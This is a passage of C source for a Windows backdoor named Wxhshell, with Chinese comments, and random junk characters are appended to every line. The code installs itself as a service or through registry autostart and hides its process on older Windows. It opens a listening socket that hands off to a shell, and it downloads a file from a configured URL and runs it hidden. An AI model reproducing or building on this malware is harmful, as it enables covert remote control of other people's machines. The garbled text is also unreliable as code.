ULONG UniqueProcessId; i5czm?x
ULONG InheritedFromUniqueProcessId; W<Asr@
} PROCESS_BASIC_INFORMATION; E7@m& R
DxG8`}+
PROCNTQSIP NtQueryInformationProcess; &xS]
;Fr
sE\Cv2Gx
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *;~i\M9_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4l_~-Peh
}i9VV+L#1
HANDLE hProcess; $kY ]HI
PROCESS_BASIC_INFORMATION pbi; l
!JTM
] U.*KkQ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OTWp,$YA=
if(NULL == hInst ) return 0; ,xy$h }g
ZP"Xn/L
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lT;uL~j
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R-1C#R[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \T^ptj(0
h&:XO9dY
if (!NtQueryInformationProcess) return 0; T0%l$#6v
Z4D[nPm$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yjIA`5^
if(!hProcess) return 0; Ev0=m;@_
o|y1 m7X
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J{PNB{v
c6MMI]+8
CloseHandle(hProcess); >ui;B$=
nc.:Wm6Mj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4Xe8j55
if(hProcess==NULL) return 0; sQMfU{S /
B$_-1^L
e
HMODULE hMod; Er<!8;{?
char procName[255]; ,7SqRY,+
unsigned long cbNeeded; 1n~^@f#`
3?<LWrhV3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'oF ('uR
j-7aJj%
CloseHandle(hProcess); )Qh*@=$-
=s,}@iqNO4
if(strstr(procName,"services")) return 1; // 以服务启动 W@Rb"5Gy+
nt*K@
return 0; // 注册表启动 Y
{|is2M9'
} rYrvd[/*&(
UZJ#/x5F
// 主模块 96<0=
int StartWxhshell(LPSTR lpCmdLine) T
(?
CDc+
{ mi@ni+2Tn
SOCKET wsl; EAK[2?CY
BOOL val=TRUE; ^n*:zmD
int port=0; $Ao'mT
struct sockaddr_in door; M# cJ&+rP
XCyr r2^
if(wscfg.ws_autoins) Install(); o&>aYlXd
4++p K;I
port=atoi(lpCmdLine); )Kq@ m1>@
hp}JKj@
if(port<=0) port=wscfg.ws_port; hpYW1kfQl
xMFEeSzl>S
WSADATA data; <aY>fg d/1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b fI= =
3)hQT-)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~#7uNH2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JV?d/[u,
door.sin_family = AF_INET; ym'!f|9AA
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %]N|?9L"=
door.sin_port = htons(port); rTim1<IXR
2IXtIE
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0 KA@]!
closesocket(wsl); 6xx(o
return 1; jOm7:+H
} 'l_F@ZO{(
Ey{p;;H
if(listen(wsl,2) == INVALID_SOCKET) {
Ru4M7%
closesocket(wsl); %JI*)K1WI
return 1; RSCQ`.
} M9?f`9
Wxhshell(wsl); H\$uRA oo*
WSACleanup(); sK8sxy
ahFK^ #s
return 0; G|TnvZ KX
*0'< DnGW
} M"6J"s
I8k+Rk*
// 以NT服务方式启动 P3v4!tR
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QwL*A `@
{ gZ8JfA_\R(
DWORD status = 0; G+<id1
DWORD specificError = 0xfffffff; 2 a*+mw
MHJRBn{}
serviceStatus.dwServiceType = SERVICE_WIN32; =]1cVnPI
serviceStatus.dwCurrentState = SERVICE_START_PENDING; wQa,ol_p
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]~!CJ8d
serviceStatus.dwWin32ExitCode = 0; q>.C5t'Qx
serviceStatus.dwServiceSpecificExitCode = 0;
I]BhkJ
serviceStatus.dwCheckPoint = 0; O`T_'.Lk
serviceStatus.dwWaitHint = 0; y{2\T
u#NX`_
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RwhKW?r+
if (hServiceStatusHandle==0) return; ;te( {u+
J0B*V0'zR
status = GetLastError(); )TEod!]
if (status!=NO_ERROR) i*@ZIw
{ 59i2*<k
serviceStatus.dwCurrentState = SERVICE_STOPPED; _-2ntO<E
serviceStatus.dwCheckPoint = 0; {a15s6'd
serviceStatus.dwWaitHint = 0; N6> rU
serviceStatus.dwWin32ExitCode = status; 'S*]JZ1
serviceStatus.dwServiceSpecificExitCode = specificError; !Y&]Y
G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I'[;E.KU
return; Ihv@2{*(b
} pCC^Hxa
>XX93
serviceStatus.dwCurrentState = SERVICE_RUNNING; "=LeHY=9
serviceStatus.dwCheckPoint = 0; ^f9@=I
serviceStatus.dwWaitHint = 0;
,<Wt8'e
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /F6"uZSt4
} db&!t!#,
*\cU}qjk
// 处理NT服务事件,比如:启动、停止 c6AwO?x/
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^%tn$4@@Z.
{ 1(RRjT9
switch(fdwControl) vU(fd!V ?
{ <":83RCS
case SERVICE_CONTROL_STOP: VLJ]OW8cO
serviceStatus.dwWin32ExitCode = 0; ?*ZQ:jH
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;mC|>wSZ
serviceStatus.dwCheckPoint = 0; !;P[Y"h@r
serviceStatus.dwWaitHint = 0; DLD9
{ (!qfd
Qq#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H!Dj.]T
} EBiLe;=X
return; k'+y
case SERVICE_CONTROL_PAUSE: sx]{N
serviceStatus.dwCurrentState = SERVICE_PAUSED; J^S!GG'gb
break; Jd',v
case SERVICE_CONTROL_CONTINUE: d1D=R8P_u
serviceStatus.dwCurrentState = SERVICE_RUNNING; yE(<F2
break; p"- %~%J=
case SERVICE_CONTROL_INTERROGATE: 2.]d~\
break; f6nuh&!-
}; `^
a:1^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (44L8)I.D
} .mcohfR
:$gs7<z{rm
// 标准应用程序主函数 (`4&Y-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s@GE(Pu7
{ ;PnN$g]Q
q&_\A0
// 获取操作系统版本 O*!f%}
OsIsNt=GetOsVer(); {d]B+'
GetModuleFileName(NULL,ExeFile,MAX_PATH); QDVSFGwr
BE],PCpPr
// 从命令行安装 5rc3jIXc{|
if(strpbrk(lpCmdLine,"iI")) Install(); Sw$/Z)1K&
Y6. Bi
// 下载执行文件 B&y?Dc
if(wscfg.ws_downexe) { cIa`pU,6A
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TTbJ9O<43
WinExec(wscfg.ws_filenam,SW_HIDE); 5|>ms)[RQ
} -AU'1iRcK7
Gpcordt/
if(!OsIsNt) { bj0<A
// 如果时win9x,隐藏进程并且设置为注册表启动 13)6p|6x
HideProc(); [O|c3;
StartWxhshell(lpCmdLine); >{-rl@^H:
} .*xO/pn
else o?~27
if(StartFromService()) B1s&2{L6K
// 以服务方式启动 E>gLUMG$
StartServiceCtrlDispatcher(DispatchTable); ;]=@;? 9
else RlU ?F
// 普通方式启动 2V$Jn8v,`{
StartWxhshell(lpCmdLine); 2PUB@B'
+
-nX{&Z3-s
return 0; g
4|ai*^
}